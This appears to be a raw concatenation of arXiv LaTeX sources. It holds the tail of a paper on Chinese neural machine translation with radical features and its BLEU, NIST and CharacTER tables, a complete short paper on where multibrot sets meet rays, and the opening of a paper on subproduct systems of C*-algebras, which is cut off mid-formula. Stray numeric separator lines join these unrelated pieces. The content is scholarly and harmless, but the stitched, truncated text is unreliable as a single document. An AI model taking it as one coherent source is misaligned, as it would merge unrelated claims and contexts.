From the scoring results, we can see that the model setting one, i.e. W+C+R, won the baseline models in all uni-gram to 4-gram BLEU and to 5-gram NIST scores. Furthermore, we can see that, by adding character and/or radical to the words, the model setting two and three also outperformed the baseline models. However, the setting 4 that only used character and radical information in the model lost both BLEU and NIST scores compared with the word-level baseline. This means that, for Chinese NMT, the word segmentation knowledge is important to show some guiding in Chinese translation model learning.
For uni-gram BLEU score, our Model one gets 2.1 higher score than the baseline model which means by combining W+C+R the model can yield higher adequacy level translation, though the fluency score (4-gram) does not have much difference. This is exactly the point that we want to improve about neural models, as complained by many researchers.
The evaluation scores with broader state-of-the-art metrics are shown in the following table. Since CharacTER is an edit distance based metric, the lower score means better translation result.
\begin{center}
\captionof{table}{Broader Metrics Scores on NIST06 Development Data}
\begin{tabular}{ l|c |c | c } \hline
& \multicolumn{3}{c}{Metrics on Single Reference} \\ \hline
Models & hLEPOR & BEER & CharacTER \\ \hline
Baseline & .5890 & .5112 & .9225 \\
W+C+R & .5972 & \textbf{.5167} & \textbf{.9169} \\
W+C & \textbf{.5988} & .5164 & .9779 \\
W+R & .5942 & .5146 & .9568 \\
C+R & .5779 & .4998 & 1.336 \\ \hline
\end{tabular}
\end{center}
From the broader evaluation metrics, we can see that our designed models also won the baseline system in all the metrics. Our model setting one, i.e. the W+C+R model, won both BEER and CharacTER scores, while our model two, i.e. the W+C, won the hLEPOR metric score, though the setting four continue to be the worest performance, which is consistent with the BLEU and NIST metrics. Interestingly, we find that the CharacTER score of setting two and three are both worse than the baseline, which means that by adding of character and radical information separately the output translation needs more editing effort; however, if we add both the character and radical information into the model, i.e. the setting one, then the editing effort became less than the baseline.
\subsubsection{Evaluation on Test Sets}
The evaluation results on the NIST08 Chinese-to-English test date are presented in this section.
Firstly, we show the evaluation scores on BLEU and NIST metrics, with four reference translations and case-insensitive setting. The tables show the cumulative N-gram scores of BLEU and NIST, with bold case as the winner of each n-gram situation in each column.
\begin{center}
\captionof{table}{BLEU Scores on NIST08 Test Data}
\begin{tabular}{ l|c |c |c | c} \hline
& 1-gram & 2-gram & 3-gram & 4-gram \\ \hline
Baseline & .6451 & .4732 & .3508 & .2630 \\
W+C+R & \textbf{.6609} & \textbf{.4839} & \textbf{.3572} & \textbf{.2655} \\
W+C & .6391 & .4663 & .3412 & .2527 \\
W+R & .6474 & .4736 & .3503 & .2607 \\
C+R & .6378 & .4573 & .3296 & .2410 \\ \hline
\end{tabular}
\end{center}
\begin{center}
\captionof{table}{NIST Scores on NIST08 Test Data}
\begin{tabular}{ l|c |c |c | c| c } \hline
& 1-gram & 2-gram & 3-gram & 4-gram & 5-gram \\ \hline
Baseline & 5.1288 & 6.6648 & 7.0387 & 7.1149 & 7.1387 \\
W+C+R & \textbf{5.2858} & \textbf{6.8689} & \textbf{ 7.2520} & \textbf{7.3308} & \textbf{7.3535} \\
W+C & 5.0850 & 6.5977 & 6.9552 & 7.0250 & 7.0467 \\
W+R & 5.1122 & 6.6509 & 7.0289 & 7.1062 & 7.1291 \\
C+R & 5.0140 & 6.4731 & 6.8187 & 6.8873 & 6.9063 \\ \hline
\end{tabular}
\end{center}
The results show that our model setting one won both BLEU and NIST scores on each n-gram evaluation scheme, while model setting three, i.e. the W+R model, won the uni-gram and bi-gram BLEU scores, and got very closed score with the baseline model in NIST metric. Furthermore, the model setting four, i.e. the C+R one, continue showing the worst ranking, which may verify that word segmentation information and word boundaries are indeed helpful to Chinese translation models, so we can not omit such part.
What worth to mention is that the detailed evaluation scores from BLEU reflect our Model one yields higher BLEU score (1.58) on uni-gram, similar with the results on development data, while a little bit higher performance on 4-gram (0.25). These mean that in the fluency level our translation is similar with the state-of-the-art baseline, however, our model yields much better adequacy level translation in NMT since uni-gram BLEU reflects the adequacy aspect instead of fluency. This verifies the value of our model in the original problem we want to address.
The evaluation results on recent years' advanced metrics are shown below. The scores are also evaluated on the four references scheme. We calculate the average score of each metric from 4 references as the final evaluation score. Bold case means the winner as usual.
\begin{center}
\captionof{table}{Broader Metrics Scores on NIST08 Test Data}
\begin{tabular}{ l|c |c | c } \hline
& \multicolumn{3}{c}{Metrics Evaluated on 4-references} \\ \hline
Models & hLEPOR & BEER & CharacTER \\ \hline
Baseline & .5519 & .4748 & \textbf{0.9846} \\
W+C+R & \textbf{.5530} & \textbf{.4778} & 1.3514 \\
W+C & .5444 & .4712 & 1.1416 \\
W+R & .5458 & .4717 & 0.9882 \\
C+R & .5353 & .4634 & 1.1888 \\ \hline
\end{tabular}
\end{center}
From the broader evaluations, we can see that our model setting one won both the LEPOR and BEER metrics. Though the baseline model won the CharacTER metric, the margin between the two scores from baseline (.9846) and our model three, i.e. W+R, (.9882) is quite small around 0.0036. Continuously, the setting four with C+R performed the worst though and verified our previous findings.
\section{Conclusion and Future Work}
We presented the different performances of the multiple model settings by integrating Chinese character and radicals into state-of-the-art attention-based neural machine translation systems, which can be helpful information for other researchers to look inside and gain general clues about how the radical works.
Our model shows the full character+radical is not enough or suitable for Chinese language translation, which is different with the work on western languages such as \cite{chung2016character}. Our model results showed that the word segmentation and word boundary are helpful knowledge for Chinese translation systems.
Even though our model settings won both the traditional BLEU and NIST metrics, the recent years developed advanced metrics indeed showed some differences and interesting phenomena, especially the character level translation error rate metric CharacTER. This can encourage MT researchers to use the state-of-the-art metrics to find useful insight of their models.
Although the combination of words, characters and radicals mostly yielded the best scores, the broad evaluations also showed that the model setting W+R, i.e. using both words and radicals information, is generally better than the model setting W+C, i.e. words plus characters without radical, which verified the value of our work by exploring radicals into Chinese NMT. Our Model one yielded much better adequacy level translation output (by uni-gram BLEU score) compared with the baseline system, which also showed that this work is important in exploring how to improve adequacy aspect of neural models.
In the future work, we will continue to optimize our models and use more testing data to verify the performances. In this work, we aimed at exploring the effectiveness of Chinese radicals, so we did not use BPE for English side splitting, however, to promote the state-of-the-art Chinese-English translation, in our future extension, we will apply the splitting on both Chinese and English sides. We will also investigate the usage of Chinese radicals into MT evaluation area, since they carry the language meanings.
\section{Acknowledgement}
The author Han thanks Ahmed Abdelkader for the kind help, and Niel de la Rouviere for the HanziJS toolkit. This work was supported by Soochow University of China and ADAPT Centre of Ireland. The ADAPT Centre for Digital Content Technology is funded under the SFI Research Centres Programme (Grant 13/RC/2106) and is co-funded under the European Regional Development Fund.
\bibliographystyle{splncs04}
|
1,477,468,750,042 | arxiv | \section{Introduction}
Let $d$ be an integer with $d\ge2$.
Given $c\in{\mathbb C}$, we define
\[
p_c(z):=z^d+c
\quad\text{and}\quad
p_c^{[n]}:=p_c\circ\dots\circ p_c\quad\text{($n$ times)}.
\]
The corresponding generalized Mandelbrot set,
or \emph{multibrot set}, is defined by
\[
M_d:=\Bigl\{c\in{\mathbb C}: \sup_{n\ge0}|p_c^{[n]}(0)|<\infty\Bigr\}.
\]
Of course $M_2$ is just the classical Mandelbrot set.
Computer-generated images of $M_3$ and $M_4$ are pictured in Figure~\ref{F:M3M4}.
Multibrot sets have been extensively studied in the literature.
Schleicher's article \cite{Sch04}
contains a wealth of background material on them.
\begin{figure*}[htb]
\begin{minipage}{0.48\linewidth}
\centering
\includegraphics[scale=0.378, trim=0 7 0 0,clip=true]{M3.png}
\end{minipage}
\begin{minipage}{0.48\linewidth}
\centering
\includegraphics[scale=0.4]{M4.png}
\end{minipage}
\caption{The multibrot sets $M_3$ and $M_4$}\label{F:M3M4}
\end{figure*}
We mention here some elementary properties of multibrot sets.
First of all, they exhibit $(d-1)$-fold rotational invariance, namely
\begin{equation}\label{E:rot}
M_d=\omega M_d \qquad(\omega\in{\mathbb C},~\omega^{d-1}=1).
\end{equation}
Indeed, for these $\omega$, writing $\phi(z):=\omega z$,
we have $\phi^{-1}\circ p_c\circ\phi=p_{c/\omega}$,
so $p_c^{[n]}(0)$ remains bounded
if and only if $p_{c/\omega}^{[n]}(0)$ does.
(In fact, the rotations in \eqref{E:rot} are the only rotational symmetries of $M_d$.
The paper of Lau and Schleicher \cite{LS96} contains an elementary proof of this fact.)
Also, writing $\overline{D}(0,r)$ for
the closed disk with center $0$ and radius $r$,
we have the inclusions
\[
\overline{D}(0,\alpha(d))\subset M_d\subset \overline{D}(0,\beta(d)),
\]
where
\[
\alpha(d):=(d-1)d^{-d/(d-1)}
\quad\text{and}\quad
\beta(d):=2^{1/(d-1)}.
\]
The first inclusion follows from the fact that, if $|c|\le\alpha(d)$,
then the closed disk $\overline{D}(0,d^{-1/(d-1)})$ is mapped into itself by $p_c$,
and consequently the sequence $p_c^{[n]}(0)$ is bounded.
For the second inclusion, we observe that,
if $|c|>\beta(d)$, then by induction
$|p_c^{[n+2]}(0)|\ge (2d)^n(|c|^d-2|c|)$ for all $n\ge0$,
and the right-hand side of this inequality tends to infinity with $n$.
When $d$ is odd, we have
\begin{equation}\label{E:odd}
M_d\cap{\mathbb R}=[-\alpha(d),\alpha(d)].
\end{equation}
This equality was conjectured by Paris\'e and Rochon in \cite{PR15a},
and proved by them in \cite{PR15b}.
Also, when $d$ is even, we have
\begin{equation}\label{E:even}
M_d\cap{\mathbb R}=[-\beta(d),\alpha(d)].
\end{equation}
This equality was also conjectured in \cite{PR15a},
and subsequently proved in \cite{PRR16}.
When $d=2$, it reduces to the well-known equality
$M_2\cap{\mathbb R}=[-2,\textstyle\frac{1}{4}]$.
By virtue of the rotation-invariance property \eqref{E:rot},
the equalities \eqref{E:odd} and \eqref{E:even} yield information about
the intersection of $M_d$ with certain rays emanating from zero.
Indeed, if $\omega^{d-1}=1$, then
\[
M_d\cap{\mathbb R}^+\omega=\{t\omega:0\le t\le \alpha(d)\},
\]
and if $\omega^{d-1}=-1$ and $d$ is even, then
\[
M_d\cap{\mathbb R}^+\omega=\{t\omega:0\le t\le \beta(d)\}.
\]
This leaves open the case when $\omega^{d-1}=-1$ and $d$ is odd.
The purpose of this note is to fill the gap.
The following theorem is our main result.
\begin{theorem}\label{T:gamma}
If $\omega^{d-1}=-1$ and $d$ is odd, then
\[
M_d\cap{\mathbb R}^+\omega=\{t\omega:0\le t\le \gamma(d)\},
\]
where
\begin{equation}\label{E:gamma}
\gamma(d):=d^{-d/(d-1)}\bigl(\sinh(d\xi_d)+d\sinh(\xi_d)\bigr),
\end{equation}
and
$\xi_d$ is the unique positive root of the equation
$\cosh(d\xi_d)=d\cosh(\xi_d)$.
\end{theorem}
When $d=3$, one can use the relation
$\cosh(3x)=4\cosh^3x-3\cosh x$ to derive the exact formula
$\gamma(3)=\sqrt{32/27}$, which yields
\begin{corollary}
$M_3\cap i{\mathbb R}=\{iy: |y|\le \sqrt{32/27}\}.$
\end{corollary}
In comparison,
note that \eqref{E:odd} gives $M_3\cap{\mathbb R}=\{x:|x|\le 2/\sqrt{27}\}$.
See Figure~\ref{F:M3M4}.
The first few values of $\alpha(d), \beta(d),\gamma(d)$ are tabulated in Table~\ref{Tb:abc} for comparison.
\begin{table}[htb]
\caption{Values of $\alpha(d),\beta(d),\gamma(d)$ for $2\le d\le 12$}
\label{Tb:abc}
\renewcommand{\arraystretch}{1.1}
\begin{tabular}{|r|c|c|c|}
\hline
$d$ &$\alpha(d)$ &$\beta(d)$ &$\gamma(d)$\\
\hline
$2$ &$0.250000000$ &$2.000000000$ &$1.100917369$\\
$3$ &$0.384900179$ &$1.414213562$ &$1.088662108$\\
$4$ &$0.472470394$ &$1.259921050$ &$1.078336651$\\
$5$ &$0.534992244$ &$1.189207115$ &$1.069984489$\\
$6$ &$0.582355932$ &$1.148698355$ &$1.063192242$\\
$7$ &$0.619731451$ &$1.122462048$ &$1.057591279$\\
$8$ &$0.650122502$ &$1.104089514$ &$1.052904317$\\
$9$ &$0.675409498$ &$1.090507733$ &$1.048928539$\\
$10$ &$0.696837314$ &$1.080059739$ &$1.045514971$\\
$11$ &$0.715266766$ &$1.071773463$ &$1.042552690$\\
$12$ &$0.731314279$ &$1.065041089$ &$1.039957793$\\
\hline
\end{tabular}
\renewcommand{\arraystretch}{1.0}
\end{table}
It can be shown that $\gamma(d)>1$ for all $d$, and that
\[
\gamma(d)=2^{1/d+O((\log d)^2/d^2)) }
\quad\text{as~}d\to\infty.
\]
These statements will be justified later.
\section{Proof of Theorem~\ref{T:gamma}}
In this section we suppose that $d$ is an odd integer with $d\ge3$.
If $\omega^{d-1}=-1$, then, writing $\phi(z):=\omega z$,
we have $\phi^{-1}\circ p_c\circ \phi=q_{c/\omega}$, where
\[
q_c(z):=-z^d+c.
\]
Thus $M_d\cap{\mathbb R}^+\omega=\omega (N_d\cap {\mathbb R}^+)$, where
\[
N_d:=\Bigl\{c\in{\mathbb C}: \sup_{n\ge0}|q_c^{[n]}(0)|<\infty\Bigr\}.
\]
We now seek to identify $N_d\cap{\mathbb R}^+$.
We shall do this in two stages.
\begin{lemma}\label{T:N}
Let $d$ be an odd integer with $d\ge3$. Then
\[
N_d\cap{\mathbb R}^+=[0,~\mu(d)],
\]
where
\[
\mu(d):=\max\bigl\{a-b^d:a,b\ge0,~a^d+b^d=a+b\bigr\}.
\]
\end{lemma}
\begin{proof}
Consider first the case $c\in[0,1]$.
In this case we have $q_c(0)=c$ and $q_c(c)=-c^d+c\ge0$.
Since $q_c$ is a decreasing function,
it follows that $q_c([0,c])\subset[0,c]$,
and in particular that $q_c^{[n]}(0)$ is bounded.
Hence $c\in N_d$ for all $c\in[0,1]$.
Consider now the case $c\in[1,\infty)$.
Then $q_c(0)=c$ and $q_c^{[2]}(0)=-c^d+c\le0$.
As $q_c$ is a decreasing function,
it follows that $q_c^{[2n]}(0)$ is a decreasing sequence
and $q_c^{[2n+1]}(0)$ is an increasing sequence.
If, further, $c\in N_d$, then $q_c^{[n]}(0)$ is bounded,
and both of these subsequences converge,
say $q_c^{[2n+1]}(0)\to a$ and $q_c^{[2n]}(0)\to -b$,
where $a,b\ge0$.
We then have $q_c(-b)=a$ and $q_c(a)=-b$,
in other words $b^d+c=a$ and $a^d-c=b$.
Adding these equations gives $a^d+b^d=a+b$.
Summarizing what we have proved:
if $c\in N_d\cap[1,\infty)$, then $c=a-b^d$,
where $a,b\ge0$ and $a^d+b^d=a+b$.
Conversely, if $c$ is of this form,
then $q_c(-b)=a$ and $q_c(a)=-b$,
so $[-b,a]$ is a $q_c$-invariant interval containing $0$,
which implies that $q^{[n]}(0)$ remains bounded,
and hence $c\in N_d$.
Combining these remarks,
we have shown that
\begin{equation}\label{E:interval}
N_d\cap[1,\infty)=\{a-b^d:a,b\ge0,~a^d+b^d=a+b\}\cap[1,\infty).
\end{equation}
The condition that $a^d+b^d=a+b$ can be re-written as $h(a)=-h(b)$,
where $h(x):=x^d-x$.
Viewed this way, it is more or less clear that
the right-hand side of \eqref{E:interval}
is a closed interval containing~$1$,
so $N_d\cap[1,\infty)=[1,\mu(d)]$,
where $\mu(d)$ is as defined in the statement of the lemma.
Finally, putting all of this together, we have shown that
$N_d\cap{\mathbb R}^+=[0,\mu(d)]$.
\end{proof}
Next we identify $\mu(d)$ more explicitly.
\begin{lemma}
$\mu(d)=\gamma(d)$.
\end{lemma}
\begin{proof}
We reformulate the maximization problem defining $\mu(d)$. Set
\begin{align*}
S&:=\{(a,b)\in{\mathbb R}^2: a,b\ge0\},\\
f(a,b)&:=a-b^d,\\
g(a,b)&:=a^d+b^d-a-b.
\end{align*}
We are seeking to maximize $f$ over $S\cap\{g=0\}$.
The set $S\cap\{g=0\}$ is compact and $f$ is continuous,
so the maximum is certainly attained, say at $(a_0,b_0)$.
Notice also that $\nabla g\ne0$ at every point of
$S\cap\{g=0\}$.
There are two cases to consider.
Case 1: $(a_0,b_0)\in\partial S$.
The condition that $g(a_0,b_0)=0$ then implies that
\[
(a_0,b_0)=(0,0),(0,1) \text{~or~} (1,0).
\]
The corresponding values of $f(a_0,b_0)$ are $0,-1,1$ respectively.
Clearly we can eliminate the first two points from consideration.
As for the third, we remark that
the directional derivative of $f$ at $(1,0)$ along $\{g=0\}$
in the direction pointing into $S$
is equal to $1/\sqrt{1+(d-1)^2}$, which is strictly positive.
So $(1,0)$ cannot be a maximum of $f$ either.
Case 2: $(a_0,b_0)\in\inter(S)$.
In this case, by the standard Lagrange multiplier argument,
we must have
$\nabla f(a_0,b_0)=\lambda\nabla g(a_0,b_0)$ for some $\lambda\in{\mathbb R}$.
Writing this out explicitly, we get
\begin{align*}
1&=\lambda(da_0^{d-1}-1),\\
-db_0^{d-1}&=\lambda(db_0^{d-1}-1).
\end{align*}
Dividing the second equation by the first
and then simplifying, we obtain
\[
a_0b_0=d^{-2/(d-1)}.
\]
Thus $a_0=d^{-1/(d-1)}e^\xi$ and $b_0=d^{-1/(d-1)}e^{-\xi}$
for some $\xi\in{\mathbb R}$. With this notation,
the constraint $g(a_0,b_0)=0$ translates to $\cosh(d\xi)=d\cosh(\xi)$,
and the value of $f$ at $(a_0,b_0)$ is
\[
f(a_0,b_0)=a_0-b_0^d
=\frac{a_0-b_0}{2}+\frac{a_0^d-b_0^d}{2}
=d^{-d/(d-1)}\bigl(d\sinh(\xi)+\sinh(d\xi)\bigr).
\]
There are precisely two roots of $\cosh(d\xi)=d\cosh(\xi)$,
one positive and one negative.
Necessarily the positive root gives rise to the maximum value of $f$,
thereby showing that $\mu(d)=\gamma(d)$.
\end{proof}
\begin{remark}
Clearly $f(1,0)=1$.
The treatment of Case~1 above shows that
$f$ does not attain its maximum over $S\cap\{g=0\}$ at $(1,0)$,
and so $\mu(d)>1$.
This shows that $\gamma(d)>1$,
thereby justifying a statement made in the introduction.
\end{remark}
\begin{proof}[Proof of Theorem~\ref{T:gamma}]
Combining the various results already obtained in this section,
we have
\[
M_d\cap{\mathbb R}^+\omega=\omega(N_d\cap{\mathbb R}^+)=\omega[0,\mu(d)]=\omega[0,\gamma(d)].
\]
This concludes the proof of Theorem~\ref{T:gamma}.
\end{proof}
\section{An asymptotic formula for $\gamma(d)$.}
Our aim is to justify the following statement made in the introduction.
\begin{proposition}
If $\gamma$ is defined as in \eqref{E:gamma},
then
\begin{equation}\label{E:asymp}
\gamma(d)=2^{1/d+O((\log d)^2/d^2)} \quad\text{as~}d\to\infty.
\end{equation}
\end{proposition}
There is no need to suppose that $d$ is an integer here.
\begin{proof}
We begin by deriving an asymptotic formula for $\xi_d$
as $d\to\infty$.
On the one hand, since
\[
e^{d\xi_d}\ge\cosh(d\xi_d)=d\cosh(\xi_d)\ge d,
\]
we certainly have $\xi_d\ge (\log d)/d$.
On the other hand,
since the unimodal function $(\cosh x)/x$
takes the same values at $\xi_d$ and $d\xi_d$,
we must have $\xi_d\le\eta \le d\xi_d$,
where $\eta$ is the point at which
$(\cosh x)/x$ assumes its minimum. Thus
\[
\frac{e^{d\xi_d}}{2}\le\cosh (d\xi_d)=d\cosh\xi_d\le d\cosh\eta,
\]
whence
\[
\xi_d= \frac{\log d}{d}+O\Bigl(\frac{1}{d}\Bigr).
\]
This is not yet precise enough.
Substituting into the equation $\cosh(d\xi_d)=d\cosh(\xi_d)$,
we obtain
\[
\frac{e^{d\xi_d}}{2}+O\Bigl(\frac{1}{d}\Bigr)\
=d+O\Bigl(\frac{(\log d)^2}{d}\Bigr),
\]
whence
\[
\xi_d=\frac{\log(2d)}{d}+O\Bigl(\frac{(\log d)^2}{d^3}\Bigr).
\]
This is good enough for our needs.
We now estimate $\gamma(d)$ as $d\to\infty$.
First of all, we have
\[
d\sinh(\xi_d)=d\xi_d+O(d\xi_d^3)
=\log(2d)+O\Bigl(\frac{(\log d)^3}{d^2}\Bigr).
\]
Also
\[
\sinh(d\xi_d)
=\sinh\Bigl(\log(2d)+O\Bigl(\frac{(\log d)^2}{d^2}\Bigr)\Bigr)
=d+O\Bigl(\frac{(\log d)^2}{d}\Bigr).
\]
Hence
\begin{align*}
\log\gamma(d)
&=\log\Bigl(d\sinh(d\xi_d)+\sinh(d\xi_d)\Bigr)-\frac{d}{d-1}\log d\\
&=\log\Bigl(d+\log(2d)+O\Bigl(\frac{(\log d)^2}{d}\Bigr)\Bigr)-\Bigl(1+\frac{1}{d}
+O\Bigl(\frac{1}{d^2}\Bigr)\Bigr)\log d\\
&=\log d+\frac{\log(2d)}{d}
+O\Bigl(\frac{(\log d)^2}{d^2}\Bigr)-\Bigl(\log d+\frac{\log d}{d}
+O\Bigl(\frac{\log d}{d^2}\Bigr)\Bigr)\\
&=\frac{\log 2}{d}+O\Bigl(\frac{(\log d)^2}{d^2}\Bigr).
\end{align*}
Finally, taking exponentials of both sides, we get \eqref{E:asymp}.
\end{proof}
\begin{acknowledgements}
The first author thanks the organizers of the Conference on Modern Aspects of Complex Geometry,
held at the University of Cincinnati in honor of Taft Professor David Minda,
for their kind hospitality and financial support.
\end{acknowledgements}
\bibliographystyle{spmpsci}
|
1,477,468,750,043 | arxiv | \section{Introduction}
Our primary goal, in this paper, is to initiate the study of two-parameter subproduct and product systems of $C^*$-algebras, henceforth referred to as $C^*$-subproduct and product systems, building on Arveson's theory of one-parameter product and subproduct systems of Hilbert spaces \cite{Arveson89, Arveson97, Arveson-book}\cite{Bhat-M}\cite{Shalit-Solel} and Tsirelson's theory of two-parameter product systems of Hilbert spaces \cite{Tsi03, Tsi04}. Through this study,
we establish a direct connection between the theory of $C^*$-bialgebras and the theory of subproduct and product systems of Hilbert spaces.
One-parameter product systems of Hilbert spaces, commonly known as product systems, or Arveson product systems, are main objects of study in the theory of noncommutative dynamics \cite{Arveson-book}. They were introduced by W. Arveson in \cite{Arveson89} as an effective tool for classifying $E_0$-semigroups up to cocyle conjugacy, thus opening a new direction of research, complementary to that initiated by R.T. Powers in \cite{Powers88} (see also \cite{Pow99, Pow03}). At an algebraic level, Arveson product systems of Hilbert spaces can simply be defined as pairs $\left(\{E_{t}\}_{0<t}, \{V_{s,t}\}_{0<s,\, t}\right)$ consisting of a family $\{E_t\}_{t>0}$ of Hilbert spaces $E_t$ and a family $\{V_{s,t}\}_{s,t>0}$ of unitary operators $V_{s,t}:E_{s+t}\to E_s\otimes E_t$ that satisfy the co-associativity law \begin{eqnarray}\label{Feb6}(1_{E_r}\otimes V_{s,t})V_{r,s+t}=(V_{r,s}\otimes 1_{E_t})V_{r+s,t},\end{eqnarray} for all $r,\,s,\,t>0$. We emphasize, however, that Arveson's original definition of a product system also requires that all Hilbert spaces $E_t$ be separable and that the bundle $\{E_t\}_{t>0}$ be endowed with a certain Borel measurable structure that makes all operations measurable, in which case the system is referred to as a ``measurable Arveson system of Hilbert spaces''. Nevertheless, since the measurable structure can be dropped whenever it comes to the subject of classifying product systems up to isomorphism \cite{Liebscher}, which incidentally is one of the motivating reasons of this work, we do not impose these additional conditions on any of the systems considered in this article.
The study of Arveson product systems can be enriched by taking into account two-parameter product systems of Hilbert spaces. Such systems were introduced by B. Tsirelson in \cite{Tsi03} with the primary purpose of constructing a continuum of mutually non-isomorphic Arveson product systems, a task accomplished by the use of a wide range of probabilistic techniques (see also \cite{Tsi04, Liebscher}). In our paper, two-parameter product systems are referred to as ``Tsirelson product systems of Hilbert spaces", and defined as pairs $\left(\{H_{s,t}\}_{0<s<t}, \{U_{r,s,t}\}_{0<r<s<t}\right)$ consisting of a family $\{H_{s,t}\}_{0<s<t}$ of Hilbert spaces $H_{s,t}$ and a family $\{U_{r,s,t}\}_{0<r<s<t}$
of unitary operators $U_{r,s,t}: H_{r,t} \to H_{r,s}\otimes H_{s,t}$ that satisfy the co-associativity law
\begin{eqnarray}\label{Jan24cc}
\left(1_{H_{r,s}}\otimes U_{s,t,u}\right)U_{r,s,u}=\left(U_{r,s,t}\otimes 1_{H_{t,u}} \right)U_{r,t,u},
\end{eqnarray}
for all positive real numbers $0<r < s < t < u$. Strictly speaking, the notion of Tsirelson product system of Hilbert spaces defined above corresponds to Tsirelson's notion of local continuous product of Hilbert spaces (local CP HS) in \cite{Tsi03}, obtained by excluding unbounded intervals form the definition of a CP HS.
The concept of subproduct system also plays a central role in the theory of noncommutative dynamics. Its introduction was mainly motivated by the study of quantum dynamical semigroups, also known as $CP$-semigroups \cite{Arveson-book}. It was shown by B.V.R. Bhat in \cite{Bhat} (see also \cite{Bhat2}\cite{Arveson-book}) that any unital quantum dynamical semigroup can be dilated to an $E_0$-semigroup. This procedure, known as the Bhat dilation of a quantum dynamical semigroup, can be regarded as an operator algebraic counterpart of the classical Kolmogorov extension theorem. As in the case of $E_0$-semigroups, W. Arveson showed in \cite{Arveson97} (see also \cite{Markiewicz}) that quantum dynamical semigroups can also be described in terms of a certain one-parameter family of Hilbert spaces and an associated family of isometric operators. This led to the emergence of the formal concept of subproduct system, which was concurrently introduced by O. Shalit and B. Solel in \cite{Shalit-Solel} under the name ``subproduct system", and by B.V.R. Bhat and M. Mukherjee in \cite{Bhat-M} under the name ``inclusion system". Although we do not intend to address this concept in detail in this article, in order to distinguish it from other similar notions, we simply call it ``Arveson subproduct system of Hilbert spaces", and by this we mean a pair $\left(\{E_{t}\}_{0<t}, \{V_{s,t}\}_{0<s,\, t}\right)$ consisting of a family $\{E_t\}_{t>0}$ of Hilbert spaces $E_t$ and a family $\{V_{s,t}\}_{s,t>0}$ of isometric operators $V_{s,t}:E_{s+t}\to E_s\otimes E_t$ that satisfy the co-associativity law (\ref{Feb6}).
Closely related to all the concepts discussed so far is the concept of ``Tsirelson subproduct system of Hilbert spaces", which is defined as a pair $\left(\{H_{s,t}\}_{0<s<t}, \{U_{r,s,t}\}_{0<r<s<t}\right)$ consisting of a family of Hilbert spaces $\{H_{s,t}\}_{0<s<t}$ and a family $\{U_{r,s,t}\}_{0<r<s<t}$ of isometric operators $U_{r,s,t}: H_{r,t} \to H_{r,s}\otimes H_{s,t}$ that satisfy the co-associativity law (\ref{Jan24cc}). While Tsirelson subproduct systems of Hilbert spaces do not appear to have been properly considered and studied in the past, with the notable exception of \cite{Gurevich} in which they were discussed in a discrete setting, they can certainly have a strong impact in the study of Tsirelson product systems in general, and Arveson product systems in particular. As a matter of fact, any Tsirelson subproduct system of Hilbert spaces can be transformed into a Tsirelson product system of Hilbert spaces through a Bhat-type dilation procedure (see Remark \ref{monster}).
We aim, in this article, to complement and enrich the study of the systems of Hilbert spaces discussed above by introducing their $C^*$-algebraic versions, namely subproduct and product systems of $C^*$-algebras. We focus primarily on two-parameter subproduct and product systems of $C^*$-algebras, which are conceptually analogous to Tsirelson subproduct and product systems of Hilbert spaces, noting that any one-parameter subproduct or product system of $C^*$-algebras can be easily transformed into a two-parameter system (see Remark \ref{Feb21-22}). We also note that, although the level of technical complexity involved in the study of two-parameter systems is somewhat higher than in that of one-parameter systems, the former are arguably more versatile than the latter.
This reminder of this paper is structured as follows. In Section \ref{3b100}, we introduce the main concepts of our study, namely the general class of tensorial $C^*$-systems (see Definition \ref{3b1}), and its subclasses of $C^*$-subproduct systems and $C^*$-product systems (see Definition \ref{May12022}). A variety of examples are also discussed, ranging from $C^*$-subproduct systems of matrix algebras (Example \ref{exa1}) and tensorial $C^*$-systems of commutative $C^*$-algebras (Example \ref{examp1}) to tensorial $C^*$-systems of reduced group $C^*$-algebras (Example \ref{cucuu}) and $C^*$-product systems obtained from measurable Arveson product systems of Hilbert spaces (Example \ref{remus}).
In Section \ref{ch3.1}, we use inductive limit techniques to show that any $C^*$-subproduct system $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ can be dilated to a $C^*$-product system $\mathscr {A}^\sharp=\left(\{\mathcal {A}_{s,t}^\sharp\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$, which we call the inductive dilation of $\mathscr {A}$. This is the analogue of the Bhat dilation of a quantum dynamical semigroup. Each $C^*$-algebra $\mathcal {A}_{s,t}^\sharp$ of the system $\mathscr {A}^\sharp$ is constructed as the inductive limit of the inductive family of tensor products $\mathcal {A}_I=\mathcal {A}_{\iota_0, \iota_1}\otimes \mathcal {A}_{\iota_1,\iota_2}\otimes \dots\otimes \mathcal {A}_{\iota_m,\iota_{m+1}}$, indexed over the partially ordered set $\mathscr {P}_{s,t}$ of all finite partitions $I=\{s=\iota_0<\iota_1<\iota_2<\,\dots<\iota_m<\iota_{m+1}=t\}$
of the interval $[s,t]$, with embeddings obtained from the co-multiplication $ \{\Delta_{r,s,t}\}_{0<r<s<t}$ through certain tensorizations. The existence of the co-multiplication $\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}$ is derived from the general properties of the inductive limit used in this construction (see Theorem \ref{star-isomorphism theorem}).
Section \ref{sec4.1} is devoted to the construction of the quasi-local $C^*$-algebra $C^*(\mathscr {A})$ of a unital $C^*$-subproduct system $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$. This construction is also carried out by an inductive limit procedure taking into account the inductive system of $C^*$-algebras $\mathcal {A}_I$, defined as in Section \ref{ch3.1}, but indexed this time over the partially ordered set of all finite ordered subsets $I$ of the interval $(0,\infty)$ (see Proposition \ref{lemma inductive limit}).
In Section \ref{sec5+.1}, we show that the quasi-local $C^*$-algebra $C^*(\mathscr {A})$ has the structure of a $C^*$-bialgebra, in the sense that it admits a co-multiplication $\Delta$, i.e., a unital *-homomorphism $\Delta: C^*(\mathscr {A})\to C^*(\mathscr {A})\otimes C^*(\mathscr {A})$ that satisfies the co-associativity law $\left(\operatorname {id}_{C^*(\mathscr {A})}\otimes \Delta\right)\Delta=
